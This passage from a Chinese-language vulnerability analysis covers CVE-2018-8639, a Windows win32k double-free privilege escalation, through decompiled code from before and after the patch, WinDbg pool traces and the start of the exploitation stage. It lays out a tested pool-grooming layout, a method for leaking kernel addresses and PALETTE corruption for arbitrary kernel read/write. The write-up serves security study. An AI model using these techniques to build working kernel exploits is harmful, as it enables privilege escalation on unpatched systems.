lpszMenuName,而是直接克隆tagCLS結(jié)構(gòu)指向源tagCLS>lpszMenuName地址,導(dǎo)致doublefree" />
這個(gè)漏洞屬于未正確處理窗口類(lèi)成員對(duì)象導(dǎo)致的Double-free類(lèi)型本地權(quán)限提升漏洞
復(fù)現(xiàn)環(huán)境
引用
Poc 成因分析
漏洞的成因是調(diào)用CreateWindowA函數(shù)創(chuàng)建窗口的過(guò)程中,接著調(diào)用ReferenceClass克隆tagCLS結(jié)構(gòu)時(shí),未另分配分頁(yè)pool內(nèi)存保存重新創(chuàng)建的tagCLS->lpszMenuName,而是直接克隆tagCLS結(jié)構(gòu)指向源tagCLS>lpszMenuName地址,導(dǎo)致doublefree,
我們先來(lái)看CreateWindowA函數(shù)對(duì)于tagCLS結(jié)構(gòu)的克隆操作部分:
unsigned __int16 *xxxCreateWindowEx(unsigned int a1, const __m128i *a2, __int64 a3, const __m128i *a4, ...)
{
....
while ( 1 )
{
if ( v4 & 0xFFFFFFFFFFFF0000ui64 )
{
v17 = UserFindAtom(*(_QWORD *)(v4 + 8));
LOWORD(v347) = v17;
}
else
{
v17 = v4;
LOWORD(v347) = v4;
}
if ( v17 )
{
//從當(dāng)前線程ptiCurrent->ppi也就是tagPROCESSINFO中獲取tagCLS結(jié)構(gòu)對(duì)象
pclsFrom = (tagCLS **)GetClassPtr(v17, (__int64)ptiCurrent->ppi, (__int64)v413);
if ( pclsFrom )
break;
}
LABEL_775:
if ( v9
|| _bittest((const signed __int32 *)(*(_QWORD *)(*(_QWORD *)&gptiCurrent + 344i64) + 12i64), 0xDu)
|| (!((unsigned __int64)v5 & 0xFFFFFFFFFFFF0000ui64) ? (v342 = (wchar_t *)v5) : (v342 = (wchar_t *)v5->m128i_i64[1]),
!(unsigned int)RegisterDefaultClass(v342)) )
{
UserSetLastError(1407);
return 0i64;
}
v9 = 1;
}
pcls = *pclsFrom;
v20 = 0;
v21 = v403;
if ( v403 & 1 )
goto LABEL_785;
if ( _bittest((const signed int *)&v21, 0x11u) )
goto LABEL_786;
v22 = v405;
if ( _bittest(&v22, 0x12u) )
goto LABEL_785;
if ( (v405 & 0xC00000) == 0x400000 )
{
v20 = 1;
}
else if ( (v405 & 0xC00000) == 12582912 )
{
LOBYTE(v20) = (unsigned __int16)v415 >= 0x400u;
}
if ( v20 )
LABEL_785:
v403 |= 0x100u;
else
LABEL_786:
v403 &= 0xFFFFFEFF;
v23 = pcls->cbwndExtra + 296;
if ( pcls->cbwndExtra >= 0xFFFFFED8 )
{
UserSetLastError(87);
return 0i64;
}
v387 = pcls->cbwndExtra + 296;
pwnd = (tagWND *)HMAllocObject(v346, v11, 1u, v23);
v25 = pwnd;
v366 = pwnd;
if ( !pwnd )
return 0i64;
pwnd->pcls = pcls;
pwnd->style = v405 & 0xEFFFFFFF;
pwnd->ExStyle = v403 & 0xFDF7FFFF;
pwnd->cbwndExtra = pcls->cbwndExtra;
//調(diào)用ReferenceClass克隆tagCLS結(jié)構(gòu)
if ( !(unsigned int)ReferenceClass(pcls, pwnd) )
{
HMFreeObject(v25);
v11 = v361;
ptiCurrent = (tagTHREADINFO *)v346;
goto LABEL_775;
}
...
ReferenceClass是造成漏洞最關(guān)鍵的函數(shù),現(xiàn)在來(lái)分析補(bǔ)丁更新前后函數(shù)的變化來(lái)了解漏洞的成因,補(bǔ)丁對(duì)比如下
更新前:
__int64 __fastcall ReferenceClass(tagCLS *Src, tagWND *pwnd)
{
tagDESKTOP *hheapDesktop; // rbx
tagWND *pwndRef; // r12
tagCLS *srcRef; // rbp
tagCLS *pclsClone; // rsi
unsigned __int64 cbName; // kr08_8
char *lpszAnsiClassNameAlloced; // rax
tagCLS *v9; // rdx
char *lpszAnsiClassNameREf; // rdx
hheapDesktop = pwnd->head.rpdesk;
pwndRef = pwnd;
srcRef = Src;
if ( Src->rpdeskParent != hheapDesktop )
{
pclsClone = Src->pclsClone;
if ( !pclsClone )
goto LABEL_18;
do
{
if ( pclsClone->rpdeskParent == hheapDesktop )
break;
pclsClone = pclsClone->pclsNext;
}
while ( pclsClone );
if ( !pclsClone )
{
LABEL_18:
//分配克隆對(duì)象內(nèi)存
pclsClone = (tagCLS *)ClassAlloc((__int64)hheapDesktop, (Src->CSF_flags & 8u) + Src->cbclsExtra + 160);
if ( !pclsClone )
return 0i64;
//直接克隆tagCLS結(jié)構(gòu)導(dǎo)致克隆后的對(duì)象pclsClone>lpszMenuName指向源tagCLS>lpszMenuName地址
memmove(pclsClone, srcRef, (srcRef->CSF_flags & 8) + (signed __int64)srcRef->cbclsExtra + 160);
cbName = strlen(srcRef->lpszAnsiClassName) + 1;
lpszAnsiClassNameAlloced = (char *)ClassAlloc((__int64)hheapDesktop, cbName);
pclsClone->lpszAnsiClassName = lpszAnsiClassNameAlloced;
if ( !lpszAnsiClassNameAlloced )
{
if ( hheapDesktop )
RtlFreeHeap(hheapDesktop->pheapDesktop, 0i64, pclsClone);
else
ExFreePoolWithTag(pclsClone, 0);
return 0i64;
}
pclsClone->rpdeskParent = 0i64;
LockObjectAssignment((void **)&pclsClone->rpdeskParent, hheapDesktop);
v9 = srcRef->pclsClone;
pclsClone->pclsClone = 0i64;
pclsClone->pclsNext = v9;
lpszAnsiClassNameREf = srcRef->lpszAnsiClassName;
srcRef->pclsClone = pclsClone;
memmove(pclsClone->lpszAnsiClassName, lpszAnsiClassNameREf, (unsigned int)cbName);
pclsClone->spcur = 0i64;
pclsClone->spicnSm = 0i64;
pclsClone->spicn = 0i64;
HMAssignmentLock((unsigned __int16 **)&pclsClone->spicn, (unsigned __int16 *)srcRef->spicn);
HMAssignmentLock((unsigned __int16 **)&pclsClone->spicnSm, (unsigned __int16 *)srcRef->spicnSm);
HMAssignmentLock((unsigned __int16 **)&pclsClone->spcur, (unsigned __int16 *)srcRef->spcur);
pclsClone->spcpdFirst = 0i64;
pclsClone->cWndReferenceCount = 0;
}
++srcRef->cWndReferenceCount;
++pclsClone->cWndReferenceCount;
pwndRef->pcls = pclsClone;
return 1i64;
}
++Src->cWndReferenceCount;
return 1i64;
}
更新后
__int64 __fastcall ReferenceClass(tagCLS *Src, tagWND *pwnd)
{
tagDESKTOP *hheapDesktop; // rbx
tagWND *pwndRef; // r12
tagCLS *srcRef; // rbp
tagCLS *pclsClone; // rsi
unsigned __int64 cbName; // kr08_8
__int64 lpszAnsiClassNameAlloced; // rax
unsigned __int16 *lpszMenuNameRef; // rdi
signed __int64 menuSizeIndex; // rcx
bool v11; // zf
unsigned int menuSizeIndexRet; // edi
unsigned __int16 *lpszMenuNameCopy; // rax
tagCLS *v14; // rdx
char *v15; // rdx
unsigned __int64 v16; // rcx
unsigned int v17; // [rsp+40h] [rbp+8h]
hheapDesktop = pwnd->head.rpdesk;
pwndRef = pwnd;
srcRef = Src;
if ( Src->rpdeskParent != hheapDesktop )
{
pclsClone = Src->pclsClone;
if ( !pclsClone )
goto LABEL_25;
do
{
if ( pclsClone->rpdeskParent == hheapDesktop )
break;
pclsClone = pclsClone->pclsNext;
}
while ( pclsClone );
if ( !pclsClone )
{
LABEL_25:
//分配內(nèi)存
pclsClone = (tagCLS *)ClassAlloc((__int64)hheapDesktop, (Src->CSF_flags & 8u) + Src->cbclsExtra + 160);
if ( !pclsClone )
return 0i64;
//克隆對(duì)象
memmove(pclsClone, srcRef, (srcRef->CSF_flags & 8) + (signed __int64)srcRef->cbclsExtra + 160);
cbName = strlen(srcRef->lpszAnsiClassName) + 1;
lpszAnsiClassNameAlloced = ClassAlloc((__int64)hheapDesktop, cbName);
pclsClone->lpszAnsiClassName = (char *)lpszAnsiClassNameAlloced;
if ( !lpszAnsiClassNameAlloced )
{
LABEL_10:
ClassFree((__int64)hheapDesktop, pclsClone);
return 0i64;
}
lpszMenuNameRef = srcRef->lpszMenuName;
if ( (unsigned __int64)lpszMenuNameRef & 0xFFFFFFFFFFFF0000ui64 )
{
menuSizeIndex = -1i64;
do
{
if ( !menuSizeIndex )
break;
//如果遇到字符串終止就結(jié)束循環(huán)
v11 = *lpszMenuNameRef == 0;
//menu字符串長(zhǎng)度
++lpszMenuNameRef;
--menuSizeIndex;
}
while ( !v11 );
menuSizeIndexRet = 2 * ~(_DWORD)menuSizeIndex;
//這里為lpszMenuNameCopy重新申請(qǐng)了內(nèi)存
lpszMenuNameCopy = (unsigned __int16 *)ExAllocatePoolWithQuotaTag((POOL_TYPE)41, menuSizeIndexRet, 0x78747355u);
pclsClone->lpszMenuName = lpszMenuNameCopy;
if ( !lpszMenuNameCopy )
{
ClassFree((__int64)hheapDesktop, pclsClone->lpszAnsiClassName);
goto LABEL_10;
}
}
else
{
menuSizeIndexRet = v17;
}
pclsClone->rpdeskParent = 0i64;
LockObjectAssignment(&pclsClone->rpdeskParent, hheapDesktop);
v14 = srcRef->pclsClone;
pclsClone->pclsClone = 0i64;
pclsClone->pclsNext = v14;
v15 = srcRef->lpszAnsiClassName;
srcRef->pclsClone = pclsClone;
memmove(pclsClone->lpszAnsiClassName, v15, (unsigned int)cbName);
v16 = (unsigned __int64)pclsClone->lpszMenuName;
if ( v16 & 0xFFFFFFFFFFFF0000ui64 )
memmove((void *)v16, srcRef->lpszMenuName, menuSizeIndexRet);
pclsClone->spcur = 0i64;
pclsClone->spicnSm = 0i64;
pclsClone->spicn = 0i64;
HMAssignmentLock(&pclsClone->spicn, srcRef->spicn);
HMAssignmentLock(&pclsClone->spicnSm, srcRef->spicnSm);
HMAssignmentLock(&pclsClone->spcur, srcRef->spcur);
pclsClone->spcpdFirst = 0i64;
pclsClone->cWndReferenceCount = 0;
}
++srcRef->cWndReferenceCount;
++pclsClone->cWndReferenceCount;
pwndRef->pcls = pclsClone;
return 1i64;
}
++Src->cWndReferenceCount;
return 1i64;
}
可見(jiàn)更新后為克隆tagCLS結(jié)構(gòu)的lpszMenuName重新申請(qǐng)了重新申請(qǐng)了pool內(nèi)存,在調(diào)用DestroyWindow和NtUserUnregisterClass釋放tagCLS結(jié)構(gòu)時(shí),導(dǎo)致每次釋放釋放的都是是新申請(qǐng)的內(nèi)存,修復(fù)了Double-free問(wèn)題.
其實(shí)這個(gè)lpszMenuName對(duì)象在調(diào)用SetClassLongPtrA函數(shù)時(shí)已經(jīng)被被釋放和重新申請(qǐng)了一次,而在ReferenceClass克隆tagCLS結(jié)構(gòu)指向的還是原來(lái)的lpszMenuName對(duì)象,結(jié)構(gòu)又被釋放了一次.下面通過(guò)分析代碼來(lái)解釋釋放過(guò)程.
__int64 __fastcall NtUserSetClassLongPtr(tagWND *a1, unsigned int nidx, __int64 *dwNewLong, unsigned int true)
{
if ( nidxRef == -26 )
{
.....
}
else if ( nidxRef == -8 )
{
// 就是poc中的GCLP_MENUNAME類(lèi)型
v20 = dwNewLongRef;
v11 = dwNewLongRef;
if ( dwNewLongRef >= W32UserProbeAddress )
v11 = (__int64 *)W32UserProbeAddress;
v17 = *v11;
v18 = v11[1];
v19 = (__m128i *)v11[2];
v12 = v19;
if ( v19 >= W32UserProbeAddress )
v12 = (const __m128i *)W32UserProbeAddress;
_mm_storeu_si128(&v16, _mm_loadu_si128(v12));
v13 = v16.m128i_u64[1];
if ( v16.m128i_i64[1] & 0xFFFFFFFFFFFF0000ui64 )
{
if ( v16.m128i_i8[8] & 1 )
ExRaiseDatatypeMisalignment();
v14 = v16.m128i_u16[0] + v13 + 2;
if ( v14 >= (unsigned __int64)W32UserProbeAddress
|| (unsigned __int16)v16.m128i_i16[0] > v16.m128i_i16[1]
|| v14 <= v13 )
{
*(_BYTE *)W32UserProbeAddress = 0;
}
}
v19 = &v16;
//調(diào)用xxxSetClassLongPtr
v10 = xxxSetClassLongPtr(v9, -8, (__int64)&v17, v4);
if ( dwNewLongRef >= W32UserProbeAddress )
dwNewLongRef = (__int64 *)W32UserProbeAddress;
*dwNewLongRef = v17;
dwNewLongRef[1] = v18;
dwNewLongRef[2] = (__int64)v19;
goto LABEL_21;
}
//調(diào)用xxxSetClassLongPtr
v10 = xxxSetClassLongPtr(v9, nidxRef, (__int64)dwNewLongRef, v4);
.
}
//xxxSetClassLongPtr接著會(huì)調(diào)用xxxSetClassData這里略過(guò)..
__int64 __fastcall xxxSetClassData(tagWND *pwnd, int nidx, unsigned __int64 dwData, unsigned int bAnsi)
{
....
switch ( nidx )
{
// 就是poc中的GCLP_MENUNAME類(lèi)型
case -8:
lpszMenuNameRef = pCls->lpszMenuName;
DataFrom = dwData[2];
buffCheck = DataFrom->Buffer;
if ( !((unsigned __int64)buffCheck & 0xFFFFFFFFFFFF0000ui64) )
{
pCls->lpszMenuName = buffCheck;
goto Free_MenuName;
}
// 重新申請(qǐng)MenuName內(nèi)存
RtlInitUnicodeString(&DestinationString, DataFrom->Buffer);
if ( !DestinationString.Length )
{
pCls->lpszMenuName = 0i64;
Free_MenuName:
*(_QWORD *)&v5[1].Length = 0i64;
if ( (unsigned __int64)lpszMenuNameRef & 0xFFFFFFFFFFFF0000ui64 )
// 這里釋放lpszMenuName
ExFreePoolWithTag(lpszMenuNameRef, 0);
dwOld = pCls->lpszClientAnsiMenuName;
pCls->lpszClientAnsiMenuName = *(char **)&v5->Length;
*(_QWORD *)&v5->Length = dwOld;
OldClientUnicodeMenuName = (char *)pCls->lpszClientUnicodeMenuName;
pCls->lpszClientUnicodeMenuName = v5->Buffer;
v5->Buffer = (unsigned __int16 *)OldClientUnicodeMenuName;
if ( v4 )
OldClientUnicodeMenuName = *(char **)&v5->Length;
return (__int64)OldClientUnicodeMenuName;
}
if ( !(unsigned int)AllocateUnicodeString(&pszMenuNameNew, &DestinationString) )
return 0i64;
// 賦值新申請(qǐng)的MenuName
pCls->lpszMenuName = pszMenuNameNewRet;
goto Free_MenuName;
}
}
....
}
此時(shí)原pCls->lpszMenuName第一次釋放,在poc中調(diào)用NtGdiSetLinkedUFIs占位釋放的內(nèi)存.
接著調(diào)用DestroyWindow第二次釋放對(duì)象,以NtUserDestroyWindow->xxxDestroyWindow-> xxxFreeWindow->DereferenceClass->DestroyClass的順序最后釋放克隆的pCls對(duì)象
接著調(diào)用NtUserUnregisterClass->UnregisterClass->DestroyClass順序釋放原pCls對(duì)象,原pCls->lpszMenuName和克隆的pCls->lpszMenuName指向的是同一內(nèi)存區(qū)域,所以肯定會(huì)被釋放,是否3次釋放??
池風(fēng)水布局調(diào)試分析
在poc中先申請(qǐng)了10000個(gè)100大小的AcceleratorTable(以下簡(jiǎn)稱(chēng)acc),然后釋放前3000個(gè),并創(chuàng)建3000個(gè)e00大小的acc,部分e00和2個(gè)100的acc會(huì)占滿(mǎn)一頁(yè),然后再釋放1500個(gè)100的acc和創(chuàng)建1500個(gè)200大小acc,這樣原釋放100和新創(chuàng)建的200會(huì)填滿(mǎn)池空隙,有些e00和200的acc會(huì)占滿(mǎn)一頁(yè),也存在e00和2個(gè)100的acc占滿(mǎn)一頁(yè)情況,又由于e00的acc數(shù)量大于200的acc,會(huì)出現(xiàn)大量的e00和200大小free的頁(yè)面空洞,用于放置poc中要?jiǎng)?chuàng)建的lpszMenuName,最后又把最后4000個(gè)100的acc釋放,導(dǎo)致更多相同空洞出現(xiàn).效果如下圖:
下面我們來(lái)看下poc運(yùn)行過(guò)程內(nèi)核對(duì)象池風(fēng)水的實(shí)際布局情況,具體過(guò)程如圖:
對(duì)于這個(gè)漏洞關(guān)鍵對(duì)象pCls->lpszMenuName內(nèi)核地址獲取可以通過(guò)以下方式查看:
bp win32k!ReferenceClass+0x6b “p;”
也就是ReferenceClass函數(shù)中其中
pclsClone = (tagCLS *)ClassAlloc((__int64)hheapDesktop, (Src->CSF_flags & 8u) + Src->cbclsExtra + 160)這行代碼,采用調(diào)試腳本如下:
r;
r $t0=rax;
.printf"t0=%pn",@$t0;
//這里pCls->lpszMenuName=0x88偏移量
gu;r $t1=poi(@$t0+88);
.printf"t1=%pn",@$t1;
!pool @$t1;
poc運(yùn)行流程順序如圖:
來(lái)看具體windbg調(diào)試過(guò)程:
在執(zhí)行完這行代碼后
hWndCloneCls = CreateWindowA("WNDCLASSMAIN", "CVE", WS_DISABLED, 0, 0, 0, 0, nullptr, nullptr, hInst, nullptr);
//在win32k!ReferenceClass函數(shù)觸發(fā)斷點(diǎn),此時(shí)我們查看pool的分配情況
kd> bp win32k!ReferenceClass+0x6b "p;"
WARNING: Software breakpoints on session addresses can cause bugchecks.
Use hardware execution breakpoints (ba e) if possible.
kd> bl
0 e fffff960`0012fcab 0001 (0001) win32k!ReferenceClass+0x6b "p;"
kd> g
win32k!ReferenceClass+0x70:
fffff960`0012fcb0 488bf0 mov rsi,rax
//運(yùn)行調(diào)試腳本
kd> $$<"C:dbgpool.txt"
kd> r;
rax=fffff900c3c013d0 rbx=fffffa80042b6f20 rcx=fffff900c3c01470
rdx=0000000000000000 rsi=0000000000000000 rdi=fffff900c0c4ccc0
rip=fffff9600012fcb0 rsp=fffff88004de2670 rbp=fffff900c0c4ccc0
r8=0000000000000000 r9=0000000000000000 r10=00000000000000fe
r11=fffff88004de2610 r12=fffff900c3c012a0 r13=fffff88004de0000
r14=0000000000000000 r15=fffff88004de29a8
iopl=0 nv up ei ng nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000286
win32k!ReferenceClass+0x70:
fffff960`0012fcb0 488bf0 mov rsi,rax
kd> r $t0=rax;
kd> .printf"t0=%pn",@$t0;
t0=fffff900c3c013d0
kd> gu;r $t1=poi(@$t0+88);
kd> .printf"t1=%pn",@$t1;
t1=fffff900c566de20
kd> !pool @$t1;
Pool page fffff900c566de20 region is Paged session pool
//AcceleratorTable占用了e00空間
fffff900c566d000 size: e00 previous size: 0 (Allocated) Usac Process: fffffa8001b80970
fffff900c566de00 size: 10 previous size: e00 (Free) ....
//lpszMenuName分配了 1f0大小的空間
*fffff900c566de10 size: 1f0 previous size: 10 (Allocated) *Ustx Process: fffffa8001b80970
Pooltag Ustx : USERTAG_TEXT, Binary : win32k!NtUserDrawCaptionTemp
//在執(zhí)行完這行代碼后
SetClassLongPtrA(hWndCloneCls, GCLP_MENUNAME, (LONG64)NewMenuName);
kd> !pool @$t1;
Pool page fffff900c566de20 region is Paged session pool
fffff900c566d000 size: e00 previous size: 0 (Allocated) Usac Process: fffffa8001b80970
//1f0和10釋放后合并變成200大小free空間
*fffff900c566de00 size: 200 previous size: e00 (Free) *....
Owning component : Unknown (update pooltag.txt)
//在執(zhí)行完這行代碼后
NtGdiSetLinkedUFIs(hDC_Writer[i], flag, 0x3b);
kd> !pool @$t1;
Pool page fffff900c566de20 region is Paged session pool
fffff900c566d000 size: e00 previous size: 0 (Allocated) Usac Process: fffffa8001b80970
fffff900c566de00 size: 10 previous size: e00 (Free) ....
//1f0空間被hDC_Writer占位
*fffff900c566de10 size: 1f0 previous size: 10 (Allocated) *Gadd
Pooltag Gadd : GDITAG_DC_FONT, Binary : win32k.sys
//在執(zhí)行完這行代碼后
DestroyWindow(hWndCloneCls);
NtUserUnregisterClass(pClassName, hInst, &a);
kd> !pool @$t1;
Pool page fffff900c566de20 region is Paged session pool
fffff900c566d000 size: e00 previous size: 0 (Allocated) Usac Process: fffffa8001b80970
//80+180空間為free狀態(tài)
*fffff900c566de00 size: 80 previous size: e00 (Free) *....
Owning component : Unknown (update pooltag.txt)
//GTmp怎么來(lái)的是不是DestroyWindow后又在NtUserUnregisterClass過(guò)程中產(chǎn)生的?
fffff900c566de80 size: 180 previous size: 80 (Free ) GTmp
//在執(zhí)行完這行代碼后
hPalettes[i] = CreatePalette(lPalette);
kd> !pool @$t1;
Pool page fffff900c566de20 region is Paged session pool
fffff900c566d000 size: d10 previous size: 0 (Allocated) Usac Process: fffffa8001b80970
fffff900c566dd10 size: f0 previous size: d10 (Free) ....
//已被PALETTE占位,HDC對(duì)象數(shù)據(jù)對(duì)準(zhǔn)了PALETTE +0x10處正好是要修改PALETTE大小
*fffff900c566de00 size: 100 previous size: f0 (Allocated) *Gh28
Pooltag Gh28 : GDITAG_HMGR_SPRITE_TYPE, Binary : win32k.sys
fffff900c566df00 size: 100 previous size: 100 (Allocated) Gh28
筆者借鑒CVE-2018-8453布局思路,測(cè)試了一種新的布局方式,先申請(qǐng)創(chuàng)建4000個(gè)C10大小的塊,位于堆頂部,然后創(chuàng)建4000個(gè)200大小的塊,位于堆底部,這樣就在堆中間留出了1F0大小的空隙,再創(chuàng)建5000個(gè)1F0大小的小塊,把池堆中的空隙填滿(mǎn),然后每間隔2個(gè)1F0大小釋放其中一個(gè),這樣就在堆中留出大量1F0大小的空隙用于放置lpszMenuName,這樣正好把空隙控制在1F0大小,200大小的塊不會(huì)覆蓋1F0大小的塊也填滿(mǎn)了1F0之前的空隙使其剩余空隙保留在小于200大小,不會(huì)影響之后的GDI和PALETTE也不會(huì)跑到這些空隙去,第一次釋放用GDI占位,第二次釋放先釋放C10用C00占位,然后創(chuàng)建2w個(gè)100大小PALETTE,填充二次釋放區(qū)域,經(jīng)測(cè)試布局成功率大于90%,池風(fēng)水布局后如圖:
//在用戶(hù)態(tài)創(chuàng)建4000個(gè)200大小的塊下斷點(diǎn)
//AcceleratorTable泄露內(nèi)核地址計(jì)算公式為(SHAREDINFO->aheList+sizeOf(HANDLEENTRY)*(AcceleratorTabl句柄&0xffff))
0:000> dq CVE_2018_8639_EXP!hAccel_0x200_bottom
00000001`3fe1b940 00000000`003528f1 00000000`003d00f3
00000001`3fe1b950 00000000`003c01f1 00000000`0012098f
00000001`3fe1b960 00000000`00100991 00000000`000c097b
00000001`3fe1b970 00000000`00090973 00000000`000b00ef
00000001`3fe1b980 00000000`001201fb 00000000`00090981
00000001`3fe1b990 00000000`00190069 00000000`000b09c1
00000001`3fe1b9a0 00000000`0009099b 00000000`00070999
00000001`3fe1b9b0 00000000`0008097d 00000000`000809ad
//看最后一個(gè)
0:000> dq poi(user32!gSharedInfo+8)+18h*(00000000`000809ad&0xffff)
00000000`004ee838 fffff900`c5c15e10 fffff900`c26f3460
00000000`004ee848 00000000`00080008 fffff900`c5caac20
//在內(nèi)核態(tài)
kd> !pool fffff900`c5c15e10
Pool page fffff900c5c15e10 region is Paged session pool
fffff900c5c15000 size: c10 previous size: 0 (Allocated) Usac Process: fffffa8001a65520
fffff900c5c15c10 size: 1f0 previous size: c10 (Allocated) Usac Process: fffffa8001a65520
*fffff900c5c15e00 size: 200 previous size: 1f0 (Allocated) *Usac Process: fffffa8001a65520
Pooltag Usac : USERTAG_ACCEL, Binary : win32k!_CreateAcceleratorTable
//在執(zhí)行完這行代碼后
hWndCloneCls = CreateWindowA("WNDCLASSMAIN", "CVE", WS_DISABLED, 0, 0, 0, 0, nullptr, nullptr, hInst, nullptr);
//在win32k!ReferenceClass函數(shù)觸發(fā)斷點(diǎn),此時(shí)我們查看pool的分配情況
kd> bp win32k!ReferenceClass+0x6b "p;"
WARNING: Software breakpoints on session addresses can cause bugchecks.
Use hardware execution breakpoints (ba e) if possible.
kd> g
win32k!ReferenceClass+0x70:
fffff960`0012fcb0 488bf0 mov rsi,rax
*** WARNING: Unable to verify checksum for CVE-2018-8639-EXP.exe
*** ERROR: Module load completed but symbols could not be loaded for CVE-2018-8639-EXP.exe
*** ERROR: Symbol file could not be found. Defaulted to export symbols for kernel32.dll -
kd> $$<"C:dbgpool.txt"
kd> r;
rax=fffff900c3803f90 rbx=fffffa800485e760 rcx=fffff900c3804030
rdx=0000000000000000 rsi=0000000000000000 rdi=fffff900c082beb0
rip=fffff9600012fcb0 rsp=fffff880037e0670 rbp=fffff900c082beb0
r8=0000000000000000 r9=0000000000000000 r10=0000000000000010
r11=fffff880037e0610 r12=fffff900c3803e60 r13=fffff880037e0000
r14=0000000000000000 r15=fffff880037e09a8
iopl=0 nv up ei ng nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000286
win32k!ReferenceClass+0x70:
fffff960`0012fcb0 488bf0 mov rsi,rax
kd> r $t0=@rax;
kd> .printf"t0=%pn",@$t0;
t0=fffff900c3803f90
kd> gu;r $t1=poi(@$t0+88);
WARNING: Software breakpoints on session addresses can cause bugchecks.
Use hardware execution breakpoints (ba e) if possible.
kd> .printf"t1=%pn",@$t1;
t1=fffff900c3371c20
kd> !pool @$t1;
Pool page fffff900c3371c20 region is Paged session pool
fffff900c3371000 size: c10 previous size: 0 (Allocated) Usac Process: fffffa8001a65520
//lpszMenuName分配了 1f0大小的空間
*fffff900c3371c10 size: 1f0 previous size: c10 (Allocated) *Ustx Process: fffffa8001a65520
Pooltag Ustx : USERTAG_TEXT, Binary : win32k!NtUserDrawCaptionTemp
fffff900c3371e00 size: 200 previous size: 1f0 (Allocated) Usac Process: fffffa8001a65520
//在執(zhí)行完這行代碼后
SetClassLongPtrA(hWndCloneCls, GCLP_MENUNAME, (LONG64)NewMenuName);
kd> !pool @$t1;
Pool page fffff900c3371c20 region is Paged session pool
fffff900c3371000 size: c10 previous size: 0 (Allocated) Usac Process: fffffa8001a65520
*fffff900c3371c10 size: 1f0 previous size: c10 (Free) *Ustx
Pooltag Ustx : USERTAG_TEXT, Binary : win32k!NtUserDrawCaptionTemp
fffff900c3371e00 size: 200 previous size: 1f0 (Allocated) Usac Process: fffffa8001a65520
//在執(zhí)行完這行代碼后
NtGdiSetLinkedUFIs(hDC_Writer[i], flag, 0x3b);
kd> !pool @$t1;
Pool page fffff900c3371c20 region is Paged session pool
fffff900c3371000 size: c10 previous size: 0 (Allocated) Usac Process: fffffa8001a65520
//GDI對(duì)象被創(chuàng)建
*fffff900c3371c10 size: 1f0 previous size: c10 (Allocated) *Gadd
Pooltag Gadd : GDITAG_DC_FONT, Binary : win32k.sys
fffff900c3371e00 size: 200 previous size: 1f0 (Allocated) Usac Process: fffffa8001a65520
//在執(zhí)行完這行代碼后
DestroyWindow(hWndCloneCls);
NtUserUnregisterClass(pClassName, hInst, &a);
kd> !pool @$t1;
Pool page fffff900c3371c20 region is Paged session pool
fffff900c3371000 size: c10 previous size: 0 (Allocated) Usac Process: fffffa8001a65520
//GDI對(duì)象被被釋放
*fffff900c3371c10 size: 1f0 previous size: c10 (Free) *Gadd
Pooltag Gadd : GDITAG_DC_FONT, Binary : win32k.sys
fffff900c3371e00 size: 200 previous size: 1f0 (Allocated) Usac Process: fffffa8001a65520
//在執(zhí)行完這行代碼后
DestroyAcceleratorTable(hAccel_0xC10_top[i]);
kd> !pool @$t1;
Pool page fffff900c3371c20 region is Paged session pool
//hAccel_0xC10_top被釋放
*fffff900c3371000 size: e00 previous size: 0 (Free) *Usac
Pooltag Usac : USERTAG_ACCEL, Binary : win32k!_CreateAcceleratorTable
fffff900c3371e00 size: 200 previous size: e00 (Allocated) Usac Process: fffffa8001a65520
//在執(zhí)行完這行代碼后
hAccel_0xC10_top[i] = CreateAcceleratorTableW(lpAccel, 0x1F7);
kd> !pool @$t1;
Pool page fffff900c3371c20 region is Paged session pool
//hAccel_0xC10_top被重新申請(qǐng)C00大小
fffff900c3371000 size: c00 previous size: 0 (Allocated) Usac Process: fffffa8001a65520
*fffff900c3371c00 size: 200 previous size: c00 (Free) *....
Owning component : Unknown (update pooltag.txt)
fffff900c3371e00 size: 200 previous size: 200 (Allocated) Usac Process: fffffa8001a65520
//在執(zhí)行完這行代碼后
hPalettes[i] = CreatePalette(lPalette);
kd> !pool @$t1;
Pool page fffff900c3371c20 region is Paged session pool
fffff900c3371000 size: c00 previous size: 0 (Allocated) Usac Process: fffffa8001a65520
//Palette成功占位
*fffff900c3371c00 size: 100 previous size: c00 (Allocated) *Gh18
Pooltag Gh18 : GDITAG_HMGR_SPRITE_TYPE, Binary : win32k.sys
fffff900c3371d00 size: 100 previous size: 100 (Allocated) Gh18
fffff900c3371e00 size: 200 previous size: 100 (Allocated) Usac Process: fffffa8001a65520
整個(gè)doublefree占位過(guò)程如圖:
之后的利用方式與原poc相同這里略過(guò),下面有詳細(xì)解釋
漏洞利用調(diào)試分析
參考PALETTE濫用這篇文章為exp達(dá)到內(nèi)核內(nèi)存任意位置讀寫(xiě)的方式,poc使用NtGdiSetLinkedUFIs函數(shù)把寫(xiě)入的指定HDC對(duì)象數(shù)據(jù)對(duì)準(zhǔn)了PALETTE +1c也就是PALETTE64->cEntries位置值為0xfff構(gòu)造了一個(gè)越界的PALETTE實(shí)現(xiàn)
#pragma pack(push, 4)
struct _PALETTE64
{
_BYTE BaseObject[24];
ULONG flPal;
ULONG cEntries;//0x1c
ULONG ulTime;
ULONG64 hdcHead;
ULONG64 hSelected;
ULONG64 cRefhpal;
ULONG cRefRegular;
ULONG64 ptransFore;
ULONG64 ptransCurrent;
ULONG64 ptransOld;
ULONG64 unk_038;
ULONG64 pfnGetNearest;
ULONG64 pfnGetMatch;
ULONG64 ulRGBTime;
ULONG64 pRGBXlate;
PALETTEENTRY *pFirstColor;;//0x80
struct _PALETTE *ppalThis;
PALETTEENTRY apalColors[3];
};
#pragma pack(pop)
NtGdiSetLinkedUFIs主要實(shí)現(xiàn)為XDCOBJ::bSetLinkedUFIs內(nèi)部過(guò)程,在x64系統(tǒng)下如果之前未申請(qǐng)內(nèi)存就新申請(qǐng)內(nèi)存在對(duì)象0x138位置保存了申請(qǐng)內(nèi)存的地址然后拷貝 8?Count大小內(nèi)存,如果之前申請(qǐng)過(guò)內(nèi)存就直接拷貝傳入的 8?Count大小內(nèi)存,這里buf可控,count也可控
signed __int64 __fastcall XDCOBJ::bSetLinkedUFIs(PALETTE64 *this, struct _UNIVERSAL_FONT_ID *buff, unsigned int count)
{
PALETTE64 *_This; // rbx
__int64 CountSize; // rdi
__int64 that; // rax
struct _UNIVERSAL_FONT_ID *buffRef; // r12
void *hasData; // rcx
signed __int64 result; // rax
PVOID AllocedAddress; // rsi
unsigned int size; // eax
size_t sizeRef; // rbp
